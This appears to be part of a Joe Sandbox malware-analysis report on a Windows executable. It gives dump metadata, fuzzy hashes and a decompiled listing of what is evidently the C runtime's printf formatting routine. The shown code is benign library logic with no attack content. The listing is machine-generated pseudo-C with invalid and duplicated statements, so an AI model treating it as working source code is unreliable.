0x004353aa
0x00000000
0x004353aa
0x0043527a

APIs

_get_int64_arg.LIBCMTD ref: 00435288
__aullrem.LIBCMT ref: 00435455
__aulldiv.LIBCMT ref: 00435477

Strings

9, xrefs: 00435488

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 25681a2a650e2b3b2aff3015b5f92708884c9d25b1b71cb3b5eae6cf5f9e8c3a
Instruction ID: ce7dd9e5b2126d81e03e2a2d534503123835e5b33203fdc6009e209d0218f64a
Opcode Fuzzy Hash: 25681a2a650e2b3b2aff3015b5f92708884c9d25b1b71cb3b5eae6cf5f9e8c3a
Instruction Fuzzy Hash: 9E41E7B1D15A29DFEB24CF49CC89BAEB7B5FB48300F14959AD409A7240D7785E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00427F1D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427F1D() {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t545;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t605;
				signed int _t613;
				signed int _t615;
				signed int _t617;
				signed int _t624;
				signed int _t628;
				signed int _t665;
				signed int _t668;
				void* _t670;

				L0:
				while(1) {
					L0:
					 *(_t668 - 8) = 8;
					if(( *(_t668 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L144:
						__eflags =  *(_t668 - 0x10) & 0x00008000;
						if(( *(_t668 - 0x10) & 0x00008000) == 0) {
							_t615 =  *(_t668 - 0x10) & 0x00001000;
							__eflags = _t615;
							if(_t615 == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00000020;
								if(( *(_t668 - 0x10) & 0x00000020) == 0) {
									_t617 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t617;
									if(_t617 == 0) {
										_t476 = E004285E0(_t668 + 0x14);
										_t670 = _t670 + 4;
										__eflags = 0;
										 *(_t668 - 0x2b0) = _t476;
										 *(_t668 - 0x2ac) = 0;
									} else {
										_t549 = E004285E0(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t549;
										 *(_t668 - 0x2ac) = _t617;
									}
								} else {
									_t665 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t665;
									if(_t665 == 0) {
										_t550 = E004285E0(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
										 *(_t668 - 0x2ac) = _t665;
									} else {
										_t553 = E004285E0(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t553;
										 *(_t668 - 0x2ac) = _t665;
									}
								}
							} else {
								_t556 = E00428600(_t668 + 0x14);
								_t670 = _t670 + 4;
								 *(_t668 - 0x2b0) = _t556;
								 *(_t668 - 0x2ac) = _t615;
							}
						} else {
							_t557 = E00428600(_t668 + 0x14);
							_t670 = _t670 + 4;
							 *(_t668 - 0x2b0) = _t557;
							 *(_t668 - 0x2ac) = _t613;
						}
						__eflags =  *(_t668 - 0x10) & 0x00000040;
						if(( *(_t668 - 0x10) & 0x00000040) == 0) {
							goto L161;
						}
						L157:
						__eflags =  *(_t668 - 0x2ac);
						if(__eflags > 0) {
							goto L161;
						}
						L158:
						if(__eflags < 0) {
							L160:
							asm("adc edx, 0x0");
							 *(_t668 - 0x2b8) =  ~( *(_t668 - 0x2b0));
							 *(_t668 - 0x2b4) =  ~( *(_t668 - 0x2ac));
							 *(_t668 - 0x10) =  *(_t668 - 0x10) | 0x00000100;
							L162:
							__eflags =  *(_t668 - 0x10) & 0x00008000;
							if(( *(_t668 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00001000;
								if(( *(_t668 - 0x10) & 0x00001000) == 0) {
									_t545 =  *(_t668 - 0x2b4) & 0x00000000;
									__eflags = _t545;
									 *(_t668 - 0x2b4) = _t545;
								}
							}
							__eflags =  *(_t668 - 0x30);
							if( *(_t668 - 0x30) >= 0) {
								 *(_t668 - 0x10) =  *(_t668 - 0x10) & 0xfffffff7;
								__eflags =  *(_t668 - 0x30) - 0x200;
								if( *(_t668 - 0x30) > 0x200) {
									 *(_t668 - 0x30) = 0x200;
								}
							} else {
								 *(_t668 - 0x30) = 1;
							}
							__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
							if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
								 *(_t668 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t668 - 4)) = _t668 - 0x49;
							while(1) {
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								L173:
								__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
								if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
									L177:
									 *(_t668 - 0x24) = _t668 - 0x49 -  *((intOrPtr*)(_t668 - 4));
									 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) + 1;
									__eflags =  *(_t668 - 0x10) & 0x00000200;
									if(( *(_t668 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L181:
											__eflags =  *(_t668 - 0x28);
											if( *(_t668 - 0x28) != 0) {
												goto L207;
											}
											L182:
											__eflags =  *(_t668 - 0x10) & 0x00000040;
											if(( *(_t668 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000100;
												if(( *(_t668 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000001;
													if(( *(_t668 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t668 - 0x10) & 0x00000002;
														if(( *(_t668 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t668 - 0x14)) = 0x20;
															 *(_t668 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t668 - 0x14)) = 0x2b;
														 *(_t668 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t668 - 0x14)) = 0x2d;
													 *(_t668 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t668 - 0x2bc)) =  *((intOrPtr*)(_t668 - 0x18)) -  *(_t668 - 0x24) -  *(_t668 - 0x1c);
											__eflags =  *(_t668 - 0x10) & 0x0000000c;
											if(( *(_t668 - 0x10) & 0x0000000c) == 0) {
												E004285A0(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
											}
											E004358F0( *(_t668 - 0x1c), _t668 - 0x14,  *(_t668 - 0x1c),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
											_t670 = _t670 + 0x10;
											__eflags =  *(_t668 - 0x10) & 0x00000008;
											if(( *(_t668 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000004;
												if(( *(_t668 - 0x10) & 0x00000004) == 0) {
													E004285A0(0x30,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
													_t670 = _t670 + 0x10;
												}
											}
											__eflags =  *(_t668 - 0xc);
											if( *(_t668 - 0xc) == 0) {
												L203:
												E004358F0( *((intOrPtr*)(_t668 - 4)),  *((intOrPtr*)(_t668 - 4)),  *(_t668 - 0x24),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
												goto L204;
											} else {
												L195:
												__eflags =  *(_t668 - 0x24);
												if( *(_t668 - 0x24) <= 0) {
													goto L203;
												}
												L196:
												 *(_t668 - 0x2d4) = 0;
												 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 4));
												 *(_t668 - 0x2c4) =  *(_t668 - 0x24);
												while(1) {
													L197:
													 *(_t668 - 0x2c4) =  *(_t668 - 0x2c4) - 1;
													__eflags =  *(_t668 - 0x2c4);
													if( *(_t668 - 0x2c4) == 0) {
														break;
													}
													L198:
													 *(_t668 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t668 - 0x2c0))));
													_t532 = E004344A0(_t668 - 0x2c8, _t668 - 0x2d0, 6,  *(_t668 - 0x316) & 0x0000ffff);
													_t670 = _t670 + 0x10;
													 *(_t668 - 0x2d4) = _t532;
													 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 0x2c0)) + 2;
													__eflags =  *(_t668 - 0x2d4);
													if( *(_t668 - 0x2d4) != 0) {
														L200:
														 *(_t668 - 0x24c) = 0xffffffff;
														break;
													}
													L199:
													__eflags =  *(_t668 - 0x2c8);
													if( *(_t668 - 0x2c8) != 0) {
														L201:
														E004358F0( *((intOrPtr*)(_t668 + 8)), _t668 - 0x2d0,  *(_t668 - 0x2c8),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
														continue;
													}
													goto L200;
												}
												L202:
												L204:
												__eflags =  *(_t668 - 0x24c);
												if( *(_t668 - 0x24c) >= 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000004;
													if(( *(_t668 - 0x10) & 0x00000004) != 0) {
														E004285A0(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
													}
												}
											}
											L207:
											__eflags =  *(_t668 - 0x20);
											if( *(_t668 - 0x20) != 0) {
												L0041C6E0( *(_t668 - 0x20), 2);
												_t670 = _t670 + 8;
												 *(_t668 - 0x20) = 0;
											}
											while(1) {
												L209:
												 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
												 *((intOrPtr*)(_t668 + 0xc)) =  *((intOrPtr*)(_t668 + 0xc)) + 1;
												if( *(_t668 - 0x251) == 0 ||  *(_t668 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t668 - 0x251) < 0x20 ||  *(_t668 - 0x251) > 0x78) {
														 *(_t668 - 0x2fc) = 0;
													} else {
														 *(_t668 - 0x2fc) =  *( *(_t668 - 0x251) + 0x404460) & 0x0000000f;
													}
												}
												L7:
												 *(_t668 - 0x250) =  *(_t668 - 0x2fc);
												_t20 =  *(_t668 - 0x250) * 8; // 0x6000006
												 *(_t668 - 0x25c) =  *( *(_t668 - 0x25c) + _t20 + 0x404480) >> 4;
												 *(_t668 - 0x300) =  *(_t668 - 0x25c);
												if( *(_t668 - 0x300) > 7) {
													continue;
												}
												L8:
												switch( *((intOrPtr*)( *(_t668 - 0x300) * 4 +  &M004283F8))) {
													case 0:
														L9:
														 *(_t668 - 0xc) = 0;
														_t502 = E00431490( *(_t668 - 0x251) & 0x000000ff, E0041AFF0(_t668 - 0x40));
														_t672 = _t670 + 8;
														if(_t502 == 0) {
															L15:
															E00428500( *(_t668 - 0x251) & 0x000000ff,  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t670 = _t672 + 0xc;
															goto L209;
														} else {
															E00428500( *((intOrPtr*)(_t668 + 8)),  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t672 = _t672 + 0xc;
															_t584 =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															_t631 =  *((intOrPtr*)(_t668 + 0xc)) + 1;
															 *((intOrPtr*)(_t668 + 0xc)) = _t631;
															asm("sbb eax, eax");
															 *(_t668 - 0x278) =  ~( ~( *(_t668 - 0x251)));
															if(_t631 == 0) {
																_push(L"(ch != _T(\'\\0\'))");
																_push(0);
																_push(0x486);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t514 = L0041E520();
																_t672 = _t672 + 0x14;
																if(_t514 == 1) {
																	asm("int3");
																}
															}
															L13:
															if( *(_t668 - 0x278) != 0) {
																goto L15;
															} else {
																 *((intOrPtr*)(L00423010(_t584))) = 0x16;
																E00422DA0(_t558, _t584, _t666, _t667, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																 *(_t668 - 0x2e4) = 0xffffffff;
																E0041AFC0(_t668 - 0x40);
																_t497 =  *(_t668 - 0x2e4);
																goto L211;
															}
														}
													case 1:
														L16:
														 *(__ebp - 0x2c) = 0;
														__edx =  *(__ebp - 0x2c);
														 *(__ebp - 0x28) =  *(__ebp - 0x2c);
														__eax =  *(__ebp - 0x28);
														 *(__ebp - 0x18) =  *(__ebp - 0x28);
														__ecx =  *(__ebp - 0x18);
														 *(__ebp - 0x1c) = __ecx;
														 *(__ebp - 0x10) = 0;
														 *(__ebp - 0x30) = 0xffffffff;
														 *(__ebp - 0xc) = 0;
														goto L209;
													case 2:
														L17:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														__eflags =  *(__ebp - 0x304) - 0x10;
														if( *(__ebp - 0x304) > 0x10) {
															goto L24;
														}
														L18:
														__ecx =  *(__ebp - 0x304);
														_t64 = __ecx + 0x428430; // 0x498d04
														__edx =  *_t64 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t64 & 0x000000ff) * 4 +  &M00428418))) {
															case 0:
																goto L21;
															case 1:
																goto L22;
															case 2:
																goto L20;
															case 3:
																goto L19;
															case 4:
																goto L23;
															case 5:
																goto L24;
														}
													case 3:
														L25:
														__edx =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__eax =  *(__ebp - 0x18);
															__eax =  *(__ebp - 0x18) * 0xa;
															__eflags = __eax;
															__ecx =  *((char*)(__ebp - 0x251));
															_t88 = __ecx - 0x30; // -48
															__edx = __eax + _t88;
															 *(__ebp - 0x18) = __eax + _t88;
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
															__eflags =  *(__ebp - 0x18);
															if( *(__ebp - 0x18) < 0) {
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000004;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
															}
														}
														L30:
														goto L209;
													case 4:
														L31:
														 *(__ebp - 0x30) = 0;
														goto L209;
													case 5:
														L32:
														__eax =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__edx =  *(__ebp - 0x30);
															__edx =  *(__ebp - 0x30) * 0xa;
															__eflags = __edx;
															_t99 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
															__ecx = __edx + _t99;
															 *(__ebp - 0x30) = __ecx;
														} else {
															__ecx = __ebp + 0x14;
															 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) < 0) {
																 *(__ebp - 0x30) = 0xffffffff;
															}
														}
														goto L209;
													case 6:
														L38:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														__eflags =  *(__ebp - 0x308) - 0x2e;
														if( *(__ebp - 0x308) > 0x2e) {
															L61:
															goto L209;
														}
														L39:
														__ecx =  *(__ebp - 0x308);
														_t107 = __ecx + 0x428458; // 0x7d0f9003
														__edx =  *_t107 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t107 & 0x000000ff) * 4 +  &M00428444))) {
															case 0:
																L44:
																__edx =  *(__ebp + 0xc);
																__eax =  *( *(__ebp + 0xc));
																__eflags =  *( *(__ebp + 0xc)) - 0x36;
																if( *( *(__ebp + 0xc)) != 0x36) {
																	L47:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x33;
																	if( *( *(__ebp + 0xc)) != 0x33) {
																		L50:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x64;
																		if( *( *(__ebp + 0xc)) == 0x64) {
																			L56:
																			L58:
																			goto L61;
																		}
																		L51:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x69;
																		if( *__ecx == 0x69) {
																			goto L56;
																		}
																		L52:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6f;
																		if(__ecx == 0x6f) {
																			goto L56;
																		}
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x75;
																		if( *( *(__ebp + 0xc)) == 0x75) {
																			goto L56;
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x78;
																		if( *__ecx == 0x78) {
																			goto L56;
																		}
																		L55:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x58;
																		if(__ecx != 0x58) {
																			 *(__ebp - 0x25c) = 0;
																			goto L9;
																		}
																		goto L56;
																	}
																	L48:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x32;
																	if( *((char*)(__ecx + 1)) != 0x32) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																}
																L45:
																__ecx =  *(__ebp + 0xc);
																__edx =  *((char*)(__ecx + 1));
																__eflags =  *((char*)(__ecx + 1)) - 0x34;
																if( *((char*)(__ecx + 1)) != 0x34) {
																	goto L47;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00008000;
																	 *(__ebp - 0x10) = __ecx;
																	goto L58;
																}
															case 1:
																L59:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																goto L61;
															case 2:
																L40:
																__eax =  *(__ebp + 0xc);
																__ecx =  *( *(__ebp + 0xc));
																__eflags = __ecx - 0x6c;
																if(__ecx != 0x6c) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000010;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																}
																goto L61;
															case 3:
																L60:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000800;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L61;
															case 4:
																goto L61;
														}
													case 7:
														L62:
														__ecx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x30c) = __ecx;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
														__eflags =  *(__ebp - 0x30c) - 0x37;
														if( *(__ebp - 0x30c) > 0x37) {
															while(1) {
																L181:
																__eflags =  *(_t668 - 0x28);
																if( *(_t668 - 0x28) != 0) {
																	goto L207;
																}
																goto L182;
															}
														}
														L63:
														_t148 =  *(__ebp - 0x30c) + 0x4284c4; // 0xcccccc0d
														__ecx =  *_t148 & 0x000000ff;
														switch( *((intOrPtr*)(__ecx * 4 +  &M00428488))) {
															case 0:
																L114:
																 *(__ebp - 0x2c) = 1;
																__ecx =  *((char*)(__ebp - 0x251));
																__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																__eflags = __ecx;
																 *((char*)(__ebp - 0x251)) = __cl;
																goto L115;
															case 1:
																L64:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																}
																goto L66;
															case 2:
																L79:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																__eflags =  *(__ebp - 0x10) & 0x00000830;
																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																}
																goto L81;
															case 3:
																L138:
																 *(__ebp - 0x260) = 7;
																goto L140;
															case 4:
																L72:
																__eax = __ebp + 0x14;
																 *(__ebp - 0x284) = E004285E0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x284);
																if( *(__ebp - 0x284) == 0) {
																	L74:
																	__edx =  *0x440f80; // 0x404478
																	 *(__ebp - 4) = __edx;
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																	L78:
																	goto L181;
																}
																L73:
																__ecx =  *(__ebp - 0x284);
																__eflags =  *(__ecx + 4);
																if( *(__ecx + 4) != 0) {
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																	__eflags =  *(__ebp - 0x10) & 0x00000800;
																	if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																		 *(__ebp - 0xc) = 0;
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__edx =  *__ecx;
																		 *(__ebp - 0x24) =  *__ecx;
																	} else {
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__eax =  *__ecx;
																		asm("cdq");
																		 *__ecx - __edx =  *__ecx - __edx >> 1;
																		 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																		 *(__ebp - 0xc) = 1;
																	}
																	goto L78;
																}
																goto L74;
															case 5:
																L115:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																__eax = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																 *(__ebp - 0x44) = 0x200;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) >= 0) {
																	L117:
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) != 0) {
																		L120:
																		__eflags =  *(__ebp - 0x30) - 0x200;
																		if( *(__ebp - 0x30) > 0x200) {
																			 *(__ebp - 0x30) = 0x200;
																		}
																		L122:
																		__eflags =  *(__ebp - 0x30) - 0xa3;
																		if( *(__ebp - 0x30) > 0xa3) {
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																			 *(__ebp - 0x20) = L0041BA60(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																			__eflags =  *(__ebp - 0x20);
																			if( *(__ebp - 0x20) == 0) {
																				 *(__ebp - 0x30) = 0xa3;
																			} else {
																				__eax =  *(__ebp - 0x20);
																				 *(__ebp - 4) =  *(__ebp - 0x20);
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																			}
																		}
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		__eax =  *(__ebp + 0x14);
																		_t275 = __eax - 8; // 0xe852f855
																		__ecx =  *_t275;
																		_t276 = __eax - 4; // 0xbc20
																		__edx =  *_t276;
																		 *(__ebp - 0x2a0) =  *_t275;
																		 *(__ebp - 0x29c) =  *_t276;
																		__ecx = __ebp - 0x40;
																		_push(E0041AFF0(__ebp - 0x40));
																		__eax =  *(__ebp - 0x2c);
																		_push( *(__ebp - 0x2c));
																		__ecx =  *(__ebp - 0x30);
																		_push( *(__ebp - 0x30));
																		__edx =  *((char*)(__ebp - 0x251));
																		_push( *((char*)(__ebp - 0x251)));
																		__eax =  *(__ebp - 0x44);
																		_push( *(__ebp - 0x44));
																		__ecx =  *(__ebp - 4);
																		_push( *(__ebp - 4));
																		__edx = __ebp - 0x2a0;
																		_push(__ebp - 0x2a0);
																		__eax =  *0x440374; // 0xc0d8c8fb
																		__eax =  *__eax();
																		__esp = __esp + 0x1c;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041AFF0(__ebp - 0x40));
																				__edx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__eax =  *0x440380; // 0xc0d7763b
																				__eax =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																		if( *((char*)(__ebp - 0x251)) == 0x67) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041AFF0(__ebp - 0x40));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx =  *0x44037c; // 0xc0d772bb
																				E00424860(__ecx) =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__edx =  *(__ebp - 4);
																		__eax =  *( *(__ebp - 4));
																		__eflags =  *( *(__ebp - 4)) - 0x2d;
																		if( *( *(__ebp - 4)) == 0x2d) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			__edx =  *(__ebp - 4);
																			__edx =  *(__ebp - 4) + 1;
																			__eflags = __edx;
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																		do {
																			L181:
																			__eflags =  *(_t668 - 0x28);
																			if( *(_t668 - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		} while ( *(__ebp - 0x30c) > 0x37);
																		goto L63;
																	}
																	L118:
																	__ecx =  *((char*)(__ebp - 0x251));
																	__eflags = __ecx - 0x67;
																	if(__ecx != 0x67) {
																		goto L120;
																	}
																	L119:
																	 *(__ebp - 0x30) = 1;
																	goto L122;
																}
																L116:
																 *(__ebp - 0x30) = 6;
																goto L122;
															case 6:
																L66:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																__eflags =  *(__ebp - 0x10) & 0x00000810;
																if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																	__ebp + 0x14 = E004285E0(__ebp + 0x14);
																	 *(__ebp - 0x280) = __ax;
																	__cl =  *(__ebp - 0x280);
																	 *(__ebp - 0x248) = __cl;
																	 *(__ebp - 0x24) = 1;
																} else {
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E00428620(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
